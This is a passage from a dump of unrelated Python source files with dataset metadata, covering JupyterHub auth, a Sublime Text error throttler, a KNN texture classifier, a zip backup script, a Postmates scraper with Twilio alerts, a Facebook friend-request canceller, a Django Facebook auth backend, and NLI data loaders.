return \"{}/user/{}/notebooks/{}\".format(self.hub_base_url, user, relative_path)\n\n def _hubapi_request(self, *args, **kwargs):\n return self._request('hubapi', *args, **kwargs)\n\n def _proxy_request(self, *args, **kwargs):\n return self._request('proxy', *args, **kwargs)\n\n def _request(self, service, relative_path, method='GET', body=None):\n base_url = getattr(self, '_%s_base_url' % service)\n token = getattr(self, '%s_token' % service)\n\n data = body\n if isinstance(data, (dict,)):\n data = json.dumps(data)\n\n return requests.request(method, base_url + relative_path, headers={\n 'Authorization': 'token %s' % token\n }, data=data)\n","sub_path":"nbgrader/auth/hubauth.py","file_name":"hubauth.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237411042","text":"\ntry:\n # Allow using this file on the website where the sublime\n # module is unavailable\n import sublime\nexcept (ImportError):\n sublime = None\n\nfrom . import text\nfrom .console_write import console_write\n\nimport time\nfrom threading import Timer\n\n# When there is a batch performance for some chain of execution, and there are error on them,\n# we cannot show a error message dialog for each one of them immediately, otherwise we would\n# flood the user with messages. See: https://github.com/SublimeTextIssues/Core/issues/1510\nis_error_recentely_displayed = False\n\nlast_time = time.time()\naccumulated_time = 0.0\n\ndef show_error(string, params=None, strip=True, indent=None):\n \"\"\"\n Displays an error message with a standard \"PackagesManager\" header after\n running the string through text.format()\n\n :param string:\n The error to display\n\n :param params:\n Params to interpolate into the string\n\n :param strip:\n If the last newline in the string should be removed\n\n :param indent:\n If all lines should be indented by a set indent after being dedented\n \"\"\"\n string = text.format(string, params, strip=strip, indent=indent)\n\n if sublime:\n\n if is_error_recentely_displayed:\n console_write( string )\n\n else:\n maximum_length = 1000\n sublime.error_message(u'PackagesManager\\n\\n%s\\n%s' % (\n string[:maximum_length],\n u'''\n If there will be new messages on the next seconds,\n they will be show on the Sublime Text console\n '''\n ) )\n\n if len(string) > maximum_length: print(string[maximum_length:])\n silence_error_message_box(60.1)\n\n else:\n console_write( string )\n\ndef _restart_error_messages():\n global accumulated_time\n console_write( \"Unsilencing Error Messages Boxes... Accumulated time: %.2f\" % accumulated_time )\n\n if accumulated_time > 0:\n thread = Timer(accumulated_time, _restart_error_messages)\n\n accumulated_time = 0.0\n thread.start()\n\n else:\n global is_error_recentely_displayed\n is_error_recentely_displayed = False\n\ndef silence_error_message_box(how_many_seconds=60.0):\n global last_time\n global accumulated_time\n\n global is_error_recentely_displayed\n console_write( \"Silencing Error Messages Boxes for %.2f seconds... Accumulated time: %.2f\", ( how_many_seconds, accumulated_time ) )\n\n # Enable the message dialog after x.x seconds\n if is_error_recentely_displayed:\n accumulated_time += ( time.time() - last_time )\n\n else:\n is_error_recentely_displayed = True\n\n thread = Timer(how_many_seconds, _restart_error_messages)\n thread.start()\n\n last_time = time.time()\n\n","sub_path":"package_control/show_error.py","file_name":"show_error.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"362085340","text":"__author__ = 'dilip'\r\nimport numpy as np\r\nimport image\r\nfrom sklearn import preprocessing, neighbors\r\nfrom sklearn.model_selection import train_test_split\r\nimport pandas as pd\r\nimport cv2\r\n\r\n\r\ndef handle_non_numerical_data(df):\r\n # handling non-numerical data: must convert.\r\n columns = df.columns.values\r\n\r\n for column in columns:\r\n text_digit_vals = {}\r\n\r\n def convert_to_int(val):\r\n return text_digit_vals[val]\r\n\r\n # print(column,df[column].dtype)\r\n if df[column].dtype != np.int64 and df[column].dtype != np.float64:\r\n\r\n column_contents = df[column].values.tolist()\r\n # finding just the uniques\r\n unique_elements = set(column_contents)\r\n # great, found them.\r\n x = 0\r\n for unique in unique_elements:\r\n if unique not in text_digit_vals:\r\n # creating dict that contains new\r\n # id per unique string\r\n text_digit_vals[unique] = x\r\n x += 1\r\n # now we map the new \"id\" vlaue\r\n # to replace the string.\r\n df[column] = list(map(convert_to_int, df[column]))\r\n\r\n return df\r\n\r\n\r\ndf = pd.read_csv('texture.txt')\r\ndf = handle_non_numerical_data(df)\r\nx = np.array(df.drop(['class'],1))\r\ny = np.array(df['class'])\r\n\r\nxtrain, xtest, ytrain, ytest = train_test_split(x,y,test_size=0.2)\r\n\r\nclf = neighbors.KNeighborsClassifier(n_neighbors=8)\r\nclf.fit(xtrain, ytrain)\r\n\r\naccuracy = clf.score(xtest,ytest)\r\nprint (\"accuracy\")\r\nprint(accuracy)\r\nexample = cv2.imread(\"tiger.tif\",cv2.IMREAD_GRAYSCALE)\r\nexample=example.reshape(512*256,1)\r\nprediction = clf.predict(example)\r\nprint (\"prediction\")\r\nprint(prediction)\r\n#u can give x instead of xtest\r\nprint(np.amax(clf.predict_proba(example), axis=1))\r\narr1=np.amax(clf.predict_proba(example), axis=1)\r\narr2=[0]*len(arr1)\r\nnp.set_printoptions(threshold=np.nan)\r\nprint (\"arr1\")\r\nprint(arr1)\r\n\r\n\r\nfor i in range(len(arr1)):\r\n if (arr1[i] < 0.25):\r\n arr2[i] = 0\r\n else:\r\n arr2[i] = 1\r\n\r\n##print(clf.predict_proba(example))\r\n##print (\"prediction\")\r\n##print(prediction)\r\n\r\n\r\nf = open('daret.txt','w')\r\nf.write(str(arr2))\r\nf.close()\r\n\r\narr3=[0]*len(arr1)\r\np=3\r\nfor i in range(len(arr1)):\r\n arr3[i]=(1+(2*arr1[i]-1)**p)/2\r\n\r\nf = open('trutht.txt','w')\r\nf.write(str(arr3))\r\nf.close()\r\n","sub_path":"tigerwala.py","file_name":"tigerwala.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"370944590","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*- \n# Author: sx\n\n# version:2.0\n# 使用时期命名子文件夹\nimport os\nimport time\nimport sys\n\n# 1.需要备份的文件与目录被指定放在一个列表中.\n# 例如在Windows下:\n# source= ['\"C:\\\\Download\"','\"D:\\\\code\"']\n\nsource = ['F:\\\\F\\\\BackUpSource', 'F:\\\\F\\\\BackUpSource1']\n# 必须在字符串中使用双引号\n\n# 2.备份文件必须存储在一个主备份目录\n# 指定备份目录\n# target = 'E:\\\\BackUp'\n# 3.备份文件要被压缩\n# 4.压缩文件名使用当前时期与时间\n\ntarget_dir = 'F:\\\\F\\\\BackUpTest'\n\ntoday = time.strftime('%Y%m%d')\nnow = time.strftime('%H%M%S')\n# 文件存储的名称\ntargetName = target_dir + os.sep + today + os.sep + now + '.zip'\n# 如果文件目录不存在则创建目录\nif not os.path.exists(target_dir+os.sep+today):\n os.mkdir(target_dir+os.sep+today)\n\n# 5.运行zip命令将文件打包成zip格式\nzip_command = 'zip -r {0} {1}'.format(targetName, ' '.join(source))\n\n# 列表转换字符串\n# print('列表转换字符串:' + ' '.join(source))\n# Systype = sys.getfilesystemencoding()\n# print('类型为:', Systype)\n\n# 运行备份\nprint('Zip command is:')\nprint(zip_command)\nprint('Running:')\nif os.system(zip_command) == 0:\n print('Zip file successful backup to', targetName)\nelse:\n print('Backup FAILED')\n# os.system(\"ls\")\n","sub_path":"Study/backup_ver2.py","file_name":"backup_ver2.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"162859579","text":"#!/usr/bin/env python\nfrom bs4 import BeautifulSoup\nfrom twilio.rest import TwilioRestClient\nimport json\nimport os\nimport re\nimport requests\n\n\nurl = 'https://postmates.com/los-angeles'\n\n\ndef sendText(body):\n account_sid = os.environ['TWILIO_ACCOUNT_SID']\n auth_token = os.environ['TWILIO_AUTH_TOKEN']\n twilio_number = os.environ['TWILIO_PHONE_NUMBER']\n number_file = os.environ['POSTMATES_NUMBERS']\n\n client = TwilioRestClient(account_sid, auth_token)\n\n with open(number_file, 'r') as numbers:\n for number in numbers:\n client.messages.create(body=body, to=number, from_=twilio_number)\n\n\ndef extractFreeFoodFromSoup(soup):\n regex = re.compile('free')\n strings = list(soup.stripped_strings)\n freeFood = [s for s in strings if regex.match(s.lower())]\n return freeFood\n\n\ndef hasNewFreeFood(freeFood):\n try:\n foodFile = open('/tmp/freefood', 'r+')\n previousFreeFood = json.load(foodFile)\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n foodFile = open('/tmp/freefood', 'w+')\n previousFreeFood = []\n\n foodFile.seek(0)\n foodFile.truncate()\n json.dump(freeFood, foodFile)\n foodFile.close()\n\n return freeFood != previousFreeFood\n\n\ndef main():\n postmatesPage = requests.get(url)\n soup = BeautifulSoup(postmatesPage.text, 'html.parser')\n\n freeFood = extractFreeFoodFromSoup(soup)\n\n if hasNewFreeFood(freeFood):\n sendText('Free Postmates!\\n\\n' + '\\n'.join(freeFood))\n\n\nif __name__ == '__main__':\n main()","sub_path":"dockerized-gists/4c501fc99acb75852756a4d1dfc8ca3d/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"256009852","text":"import webbrowser\n\n\"\"\"\nThis class provides Title,Rating & Duration\nto Movies and TvShow sub-class\n\"\"\"\n\n\nclass Video():\n \"\"\"\n This is a parent class that has common inputs for movie &\n tv shows. Arguments are Title, Duration, Genre & Rating\n \"\"\"\n\n def __init__(self, title, duration, genre, rating):\n self.title = title\n self.duration = duration\n self.genre = genre\n self.rating = rating\n\n\nclass Movie(Video):\n \"\"\"\n This is a child class named Movie that defines a class movie\n that is used to display information about your favourite Movie\n Arguments are Titile, Duration, Genre, Rating, Poster_Image\n link & Youtube link\n \"\"\"\n\n def __init__(\n self,\n title,\n movie_storyline,\n duration,\n genre,\n rating,\n poster_image,\n trailer_youtube):\n Video.__init__(self, title, duration, genre, rating)\n self.storyline = movie_storyline\n self.poster_image_url = poster_image\n self.trailer_youtube_url = trailer_youtube\n\n def show_trailer(self):\n webbrowser.open(self.trailer_youtube_url)\n\n\nclass TvShow(Video):\n \"\"\"\n This is a child class named TvShow that defines a class tvshows\n that is used to display information about your favorite TV Shows\n Arguments are Titile, Duration, Genre, Rating, Poster_Image\n link & Youtube link\n \"\"\"\n\n def __init__(\n self,\n title,\n tv_storyline,\n duration,\n genre,\n rating,\n poster_image,\n trailer_youtube):\n Video.__init__(self, title, duration, genre, rating)\n self.storyline = tv_storyline\n self.poster_image_url = poster_image\n self.trailer_youtube_url = trailer_youtube\n\n def show_trailer(self):\n webrowser.open(self.trailer_youtube_url)\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"123595863","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nimport time\r\n\r\ndriver = webdriver.Chrome('chromedriver.exe')\r\ndriver.get(\"https://m.facebook.com\")\r\n\r\ntime.sleep(1)\r\n#\r\n# idvar = driver.find_element_by_id('m_login_email')\r\n# idvar.send_keys('')\r\nprint('페이스북에 로그인해주세요. 30초 후에 시작됩니다.')\r\ntime.sleep(30)\r\nbutton_login = driver.find_element(By.XPATH, \"//button[@value='로그인']\")\r\nbutton_login.click()\r\ntime.sleep(2)\r\n\r\n\r\nwhile True:\r\n driver.get(\"https://m.facebook.com/friends/center/requests/outgoing\")\r\n time.sleep(1)\r\n # driver.find_elements(By.XPATH(\"//button[@value='취소']\"))\r\n button_cancel = driver.find_elements(By.XPATH, \"//button[@value='취소']\")\r\n if not button_cancel:\r\n break\r\n for button in button_cancel:\r\n try:\r\n button.click()\r\n except:\r\n continue\r\n time.sleep(2)\r\n\r\n","sub_path":"purifier.py","file_name":"purifier.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598066098","text":"from django.contrib.auth import backends\nfrom django.db.models.query_utils import Q\nfrom django.db.utils import DatabaseError\nfrom django_facebook import settings as facebook_settings\nfrom django_facebook.utils import get_profile_model, is_user_attribute, \\\n get_user_model, try_get_profile\nimport operator\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass FacebookBackend(backends.ModelBackend):\n\n '''\n Django Facebook authentication backend\n\n This backend hides the difference between authenticating with\n - a django 1.5 custom user model\n - profile models, which were used prior to 1.5\n\n **Example usage**\n\n >>> FacebookBackend().authenticate(facebook_id=myid)\n\n '''\n\n def authenticate(self, *args, **kwargs):\n '''\n Route to either the user or profile table depending on which type of user\n customization we are using\n (profile was used in Django < 1.5, user is the new way in 1.5 and up)\n '''\n logger.info(\"A01 Inside Authenticate function\")\n user_attribute = is_user_attribute('facebook_id')\n if user_attribute:\n logger.info(\"A02 user attribute %s\" % user_attribute)\n user = self.user_authenticate(*args, **kwargs)\n logger.info(\"A03 User authentication %s\" % user)\n else:\n user = self.profile_authenticate(*args, **kwargs)\n logger.info(\"A04 Profile authentication %s\" % user)\n return user\n\n def user_authenticate(self, facebook_id=None, facebook_email=None):\n '''\n Authenticate the facebook user by id OR facebook_email\n We filter using an OR to allow existing members to connect with\n their facebook ID using email.\n\n This decorator works with django's custom user model\n\n :param facebook_id:\n Optional string representing the facebook id.\n :param facebook_email:\n Optional string with the facebook email.\n\n :return: The signed in :class:`User`.\n '''\n logger.info(\"UA01 Inside User Authenticate function\")\n user_model = get_user_model()\n logger.info(\"UA02 User model %s\" % user_model)\n if facebook_id or facebook_email:\n # match by facebook id or email\n auth_conditions = []\n if facebook_id:\n logger.info(\"UA03 facebook id %s\" % facebook_id)\n auth_conditions.append(Q(facebook_id=facebook_id))\n if facebook_email:\n logger.info(\"UA04 facebook email %s\" % facebook_email)\n auth_conditions.append(Q(email__iexact=facebook_email))\n # or the operations\n auth_condition = reduce(operator.or_, auth_conditions)\n logger.info(\"UA05 Auth conditions %s\" % auth_condition)\n\n # get the users in one query\n users = list(user_model.objects.filter(auth_condition))\n logger.info(\"UA06 Users from query %s\" % users)\n\n # id matches vs email matches\n id_matches = [u for u in users if u.facebook_id == facebook_id]\n email_matches = [u for u in users if u.facebook_id != facebook_id]\n logger.info(\"UA07 Id matches %s\" % id_matches)\n logger.info(\"UA08 email model %s\" % email_matches)\n\n # error checking\n if len(id_matches) > 1:\n raise ValueError(\n 'found multiple facebook id matches. this shouldnt be allowed, check your unique constraints. users found %s' % users)\n\n # give the right user\n user = None\n if id_matches:\n user = id_matches[0]\n logger.info(\"UA09 User matches from id %s\" % user)\n elif email_matches:\n user = email_matches[0]\n logger.info(\"UA09 User matches from email %s\" % user)\n\n if user and facebook_settings.FACEBOOK_FORCE_PROFILE_UPDATE_ON_LOGIN:\n logger.info(\"UA10 Require user update\")\n user.fb_update_required = True\n return user\n\n def profile_authenticate(self, facebook_id=None, facebook_email=None):\n '''\n Authenticate the facebook user by id OR facebook_email\n We filter using an OR to allow existing members to connect with\n their facebook ID using email.\n\n :param facebook_id:\n Optional string representing the facebook id\n\n :param facebook_email:\n Optional string with the facebook email\n\n :return: The signed in :class:`User`.\n '''\n logger.info(\"PA01 Inside profile authentication\")\n if facebook_id or facebook_email:\n profile_class = get_profile_model()\n logger.info(\"PA02 Profile class %s\" % profile_class)\n profile_query = profile_class.objects.all().order_by('user')\n profile_query = profile_query.select_related('user')\n logger.info(\"PA03 Profile query %s\" % profile_query)\n profile = None\n\n # filter on email or facebook id, two queries for better\n # queryplan with large data sets\n if facebook_id:\n profiles = profile_query.filter(facebook_id=facebook_id)[:1]\n logger.info(\"PA04 Profiles from facebook_id %s\" % profiles)\n profile = profiles[0] if profiles else None\n logger.info(\"PA05 Profile %s\" % profile)\n if profile is None and facebook_email:\n try:\n profiles = profile_query.filter(\n user__email__iexact=facebook_email)[:1]\n logger.info(\"PA06 Profiles from email %s\" % profiles)\n profile = profiles[0] if profiles else None\n logger.info(\"PA07 Profile %s\" % profile)\n except DatabaseError:\n logger.info(\"PA08 Database error\")\n try:\n user = get_user_model(\n ).objects.get(email=facebook_email)\n logger.info(\"PA09 User from model %s\" % user)\n except get_user_model().DoesNotExist:\n logger.info(\"PA10 No model\")\n user = None\n profile = try_get_profile(user) if user else None\n logger.info(\"PA11 Profile %s\" % profile)\n\n if profile:\n # populate the profile cache while we're getting it anyway\n user = profile.user\n logger.info(\"PA07 User from profile %s\" % user)\n user._profile = profile\n if facebook_settings.FACEBOOK_FORCE_PROFILE_UPDATE_ON_LOGIN:\n logger.info(\"UA10 Require user update\")\n user.fb_update_required = True\n return user\n","sub_path":"django_facebook/auth_backends.py","file_name":"auth_backends.py","file_ext":"py","file_size_in_byte":6821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"265621528","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('../../Picture/sea.png', 1)\nimgInfo = img.shape\nheight = imgInfo[0]\nwidth = imgInfo[1]\n# 设置字体的类型\nfont = cv2.FONT_HERSHEY_SIMPLEX\ncv2.rectangle(img, (90, 310), (350, 260), (0, 255, 0), 1, cv2.LINE_AA)\n\n# 文字\n# 第一个参数图片的data数据\n# 第二个参数文字的内容(不支持中文)\n# 第三个参数文字起始位置\n# 第四个参数文字的字体类型\n# 第五个参数字体的大小\n# 第六个参数字体的颜色\n# 第七个参数字体的粗细\n# 第八个参数线条的类型\ncv2.putText(img, \"This is big sea!\", (100, 300), font, 1, (200, 100, 255), 2, cv2.LINE_AA)\ncv2.imshow(\"src\", img)\n\n# 图片的装载\nnewHeight = int(imgInfo[0]*0.4)\nnewWidth = int(imgInfo[1]*0.4)\nimg2 = cv2.resize(img, (newWidth, newHeight))\nfor i in range(0, newHeight):\n for j in range(0, newWidth):\n img[i, j] = img2[i, j]\n\ncv2.imshow(\"img2\", img)\ncv2.waitKey(0)","sub_path":"muke_OpenCV/03图形绘制/03绘制文字.py","file_name":"03绘制文字.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"637063706","text":"from __future__ import absolute_import, division, print_function\n\nimport csv\nimport logging\nimport os\nimport sys\nfrom io import open\nimport jsonlines\n\nfrom scipy.stats import pearsonr, spearmanr\nfrom sklearn.metrics import matthews_corrcoef, f1_score\n\nlogger = logging.getLogger(__name__)\n\n\nclass InputExample(object):\n \"\"\"A single training/test example for simple sequence classification.\"\"\"\n\n def __init__(self, guid, text_a, text_b=None, label=None, evidence=None):\n \"\"\"Constructs a InputExample.\n\n Args:\n guid: Unique id for the example.\n text_a: string. The untokenized text of the first sequence. For single\n sequence tasks, only this sequence must be specified.\n text_b: (Optional) string. The untokenized text of the second sequence.\n Only must be specified for sequence pair tasks.\n label: (Optional) string. The label of the example. This should be\n specified for train and dev examples, but not for test examples.\n \"\"\"\n self.guid = guid\n self.text_a = text_a\n self.text_b = text_b\n self.label = label\n self.evidence = evidence\n\n\nclass InputFeatures(object):\n \"\"\"A single set of features of data.\"\"\"\n\n def __init__(self, input_ids, input_mask, segment_ids, label_id, ori_idx_token, evidence):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n self.label_id = label_id\n self.ori_idx_token = ori_idx_token\n self.evidence = evidence\n\n\nclass DataProcessor(object):\n \"\"\"Base class for data converters for sequence classification data sets.\"\"\"\n\n def get_train_examples(self, data_dir):\n \"\"\"Gets a collection of `InputExample`s for the train set.\"\"\"\n raise NotImplementedError()\n\n def get_dev_examples(self, data_dir):\n \"\"\"Gets a collection of `InputExample`s for the dev set.\"\"\"\n raise NotImplementedError()\n\n def get_labels(self):\n \"\"\"Gets the list of labels for this data set.\"\"\"\n raise NotImplementedError()\n\n @classmethod\n def _read_tsv(cls, input_file, quotechar=None):\n \"\"\"Reads a tab separated value file.\"\"\"\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n reader = csv.reader(f, delimiter=\"\\t\", quotechar=quotechar)\n lines = []\n for line in reader:\n if sys.version_info[0] == 2:\n line = list(unicode(cell, 'utf-8') for cell in line)\n lines.append(line)\n return lines\n\n\nclass DataProcessor1(object):\n \"\"\"Base class for data converters for sequence classification data sets.\"\"\"\n\n def get_train_examples(self, data_dir):\n \"\"\"Gets a collection of `InputExample`s for the train set.\"\"\"\n raise NotImplementedError()\n\n def get_dev_examples(self, data_dir):\n \"\"\"Gets a collection of `InputExample`s for the dev set.\"\"\"\n raise NotImplementedError()\n\n def get_labels(self):\n \"\"\"Gets the list of labels for this data set.\"\"\"\n raise NotImplementedError()\n\n @classmethod\n def _read_tsv(cls, input_file, quotechar=None):\n \"\"\"Reads a tab separated value file.\"\"\"\n lines = []\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n for line in f:\n a = line.split('\\t')\n lines.append(a)\n return lines\n\n\nclass eSnliProcessor(DataProcessor):\n \"\"\"Processor for the MultiNLI data set (GLUE version).\"\"\"\n\n def get_train_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"train\")\n\n def get_dev_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"val\")\n\n def get_test_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"test\")\n\n def get_labels(self):\n \"\"\"See base class.\"\"\"\n return [0, 1, 2]\n\n def _create_examples(self, path, docs, set_type):\n \"\"\"Creates examples for the training and dev sets.\"\"\"\n examples = []\n\n label_path = os.path.join(path, set_type+'.jsonl')\n label_toi = {\"entailment\": 0, \"contradiction\": 1, \"neutral\": 2}\n\n reader = jsonlines.Reader(open(label_path))\n i = -1\n for line in reader:\n i += 1\n label = label_toi[line[\"classification\"]]\n evidence_temp = {}\n for evi in line[\"evidences\"][0]:\n if evi[\"docid\"] in evidence_temp.keys():\n evidence_temp[evi[\"docid\"]].append((evi[\"start_token\"], evi[\"end_token\"]))\n else:\n evidence_temp[evi[\"docid\"]] = [(evi[\"start_token\"], evi[\"end_token\"])]\n docid = line[\"annotation_id\"]\n text_a = docs[docid+'_premise']\n text_b = docs[docid+'_hypothesis']\n guid = \"%s-%s\" % (set_type, i)\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=evidence_temp))\n return examples\n\n\nclass QuoraProcessor(DataProcessor):\n \"\"\"Processor for the MultiNLI data set (GLUE version).\"\"\"\n\n def get_train_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"train\")\n\n def get_dev_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"dev\")\n\n def get_test_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"test\")\n\n def get_labels(self):\n \"\"\"See base class.\"\"\"\n return [0, 1]\n\n def _create_examples(self, path, docs, set_type):\n \"\"\"Creates examples for the training and dev sets.\"\"\"\n examples = []\n\n label_path = os.path.join(path, set_type+'.tsv')\n\n lines = self._read_tsv(label_path)\n i = -1\n for line in lines:\n i += 1\n label = int(line[0])\n evidence_temp = []\n text_a = line[1]\n text_b = line[2]\n guid = \"%s-%s\" % (set_type, i)\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=evidence_temp))\n return examples\n\n\nclass QqpProcessor(DataProcessor1):\n \"\"\"Processor for the MultiNLI data set (GLUE version).\"\"\"\n\n def get_train_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"train\")\n\n def get_dev_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"dev\")\n\n def get_test_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"test\")\n\n def get_labels(self):\n \"\"\"See base class.\"\"\"\n return [0, 1]\n\n def _create_examples(self, path, docs, set_type):\n \"\"\"Creates examples for the training and dev sets.\"\"\"\n if set_type == 'test':\n examples = []\n label_path = os.path.join(path, set_type+'.tsv')\n lines = [] # self._read_tsv(label_path)\n skip_rows = 0\n with codecs.open(label_path, 'r', 'utf-8') as data_fh:\n for _ in range(skip_rows):\n data_fh.readline()\n for row_idx, row in enumerate(data_fh):\n try:\n row = row.strip().split('\\t')\n lines.append(row)\n except Exception as e:\n print(e, \" file: %s, row: %d\" % (label_path, row_idx))\n continue\n for idx, line in enumerate(lines):\n if idx == 0:\n continue\n label = 0\n evidence_temp = []\n text_a = line[1]\n if text_a == '':\n continue\n text_b = line[2]\n if text_b == '':\n continue\n guid = \"%s-%s\" % (set_type, line[0])\n idnum = int(line[0])\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=evidence_temp, idnum=idnum))\n else:\n examples = []\n label_path = os.path.join(path, set_type+'.tsv')\n lines = [] # self._read_tsv(label_path)\n skip_rows = 0\n with codecs.open(label_path, 'r', 'utf-8') as data_fh:\n for _ in range(skip_rows):\n data_fh.readline()\n for row_idx, row in enumerate(data_fh):\n try:\n row = row.strip().split('\\t')\n label = int(row[-1])\n lines.append(row)\n except Exception as e:\n print(e, \" file: %s, row: %d\" % (label_path, row_idx))\n continue\n for idx, line in enumerate(lines):\n if idx == 0:\n continue\n if len(line) != 6:\n continue\n label = int(line[-1])\n evidence_temp = []\n text_a = line[3]\n if text_a == '':\n continue\n text_b = line[4]\n if text_b == '':\n continue\n guid = \"%s-%s\" % (set_type, line[0])\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=evidence_temp))\n return examples\n\n\nclass MrpcProcessor(DataProcessor1):\n \"\"\"Processor for the MultiNLI data set (GLUE version).\"\"\"\n\n def get_train_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"train\")\n\n def get_dev_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"dev\")\n\n def get_test_examples(self, data_dir, docs):\n \"\"\"See base class.\"\"\"\n return self._create_examples(data_dir, docs, \"test\")\n\n def get_labels(self):\n \"\"\"See base class.\"\"\"\n return [0, 1]\n\n def _create_examples(self, path, docs, set_type):\n \"\"\"Creates examples for the training and dev sets.\"\"\"\n if set_type == 'test':\n examples = []\n\n label_path = os.path.join(path, set_type+'.tsv')\n\n lines = self._read_tsv(label_path)\n for idx, line in enumerate(lines):\n if idx == 0:\n continue\n label = 0\n text_a = line[-2]\n if text_a == '':\n continue\n text_b = line[-1]\n if text_b == '':\n continue\n guid = \"%s-%s\" % (set_type, idx)\n idnum = int(line[0])\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=[], idnum=idnum))\n else:\n examples = []\n\n label_path = os.path.join(path, set_type+'.tsv')\n\n lines = self._read_tsv(label_path)\n for idx, line in enumerate(lines):\n if idx == 0:\n continue\n if len(line) != 5:\n continue\n label = int(line[0])\n text_a = line[-2]\n if text_a == '':\n continue\n text_b = line[-1]\n if text_b == '':\n continue\n guid = \"%s-%s\" % (set_type, idx)\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label, evidence=[]))\n return examples\n\n\ndef convert_examples_to_features(examples, label_list, max_seq_length,\n tokenizer, output_mode,\n cls_token_at_end=False,\n cls_token='[CLS]',\n cls_token_segment_id=1,\n sep_token='[SEP]',\n sep_token_extra=False,\n pad_on_left=False,\n pad_token=0,\n pad_token_segment_id=0,\n sequence_a_segment_id=0, \n sequence_b_segment_id=1,\n mask_padding_with_zero=True):\n \"\"\" Loads a data file into a list of `InputBatch`s\n `cls_token_at_end` define the location of the CLS token:\n - False (Default, BERT/XLM pattern): [CLS] + A + [SEP] + B + [SEP]\n - True (XLNet/GPT pattern): A + [SEP] + B + [SEP] + [CLS]\n `cls_token_segment_id` define the segment id associated to the CLS token (0 for BERT, 2 for XLNet)\n \"\"\"\n\n label_map = {label : i for i, label in enumerate(label_list)}\n\n features = []\n for (ex_index, example) in enumerate(examples):\n ori_idx_token = {}\n evidence_words = []\n for evi in example.evidence:\n if evi.split('_')[1] == 'premise':\n for evi_idx in example.evidence[evi]:\n txt = example.text_a.split()[evi_idx[0]:evi_idx[1]]\n evidence_words += txt\n else:\n for evi_idx in example.evidence[evi]:\n txt = example.text_b.split()[evi_idx[0]:evi_idx[1]]\n evidence_words += txt\n \n evidence_string = ''\n for word in evidence_words:\n evidence_string += word\n evidence_string += ' '\n evidence_string = evidence_string[:-1]\n evidence_tokens = tokenizer.tokenize(evidence_string)\n \n tokens_a = tokenizer.tokenize(example.text_a)\n\n tokens_b = None\n if example.text_b:\n tokens_b = tokenizer.tokenize(example.text_b)\n # Modifies `tokens_a` and `tokens_b` in place so that the total\n # length is less than the specified length.\n # Account for [CLS], [SEP], [SEP] with \"- 3\". \" -4\" for RoBERTa.\n special_tokens_count = 4 if sep_token_extra else 3\n _truncate_seq_pair(tokens_a, tokens_b, max_seq_length - special_tokens_count)\n else:\n # Account for [CLS] and [SEP] with \"- 2\" and with \"- 3\" for RoBERTa.\n special_tokens_count = 3 if sep_token_extra else 2\n if len(tokens_a) > max_seq_length - special_tokens_count:\n tokens_a = tokens_a[:(max_seq_length - special_tokens_count)]\n\n for tok in tokens_a:\n tok_id = tokenizer.vocab.get(tok)\n ori_idx_token[tok_id] = tok\n for tok in tokens_b:\n tok_id = tokenizer.vocab.get(tok)\n ori_idx_token[tok_id] = tok\n # The convention in BERT is:\n # (a) For sequence pairs:\n # tokens: [CLS] is this jack ##son ##ville ? [SEP] no it is not . [SEP]\n # type_ids: 0 0 0 0 0 0 0 0 1 1 1 1 1 1\n # (b) For single sequences:\n # tokens: [CLS] the dog is hairy . [SEP]\n # type_ids: 0 